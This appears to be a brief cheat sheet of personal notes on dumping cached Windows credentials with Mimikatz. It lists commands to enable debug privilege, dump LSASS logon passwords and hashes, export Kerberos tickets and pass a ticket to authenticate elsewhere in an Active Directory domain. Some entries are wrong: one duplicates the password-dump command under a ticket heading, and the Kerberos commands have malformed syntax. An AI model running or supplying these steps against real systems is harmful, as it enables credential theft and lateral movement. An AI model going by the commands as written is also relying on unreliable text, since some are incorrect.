Cached credentials

---

Tool : MIMIKATZ

Basically , In we dump ‘LSASS’ memory for credentials or Hashes , or make a effort to loot tickets to get ourselves authenticated to different resources or services in the AD environment.

We use MIMIKATZ or manually dump LSASS process memory , but we need SeDebugPrivilege which is normally with local system administrator or System NT Authority.

Start Mimikatz

.\mimikatz.exe

Engage Debug Privileges

privilege::debug

Dump logged in sessions passwords

sekurlsa::logonpasswords

Show Kerberos Tickets in memory

sekurlsa::logonpasswords

Export Kerberos tickets

kerberos:list /export

use kerberos ticket

kerberos:ptt {{ticket}}

---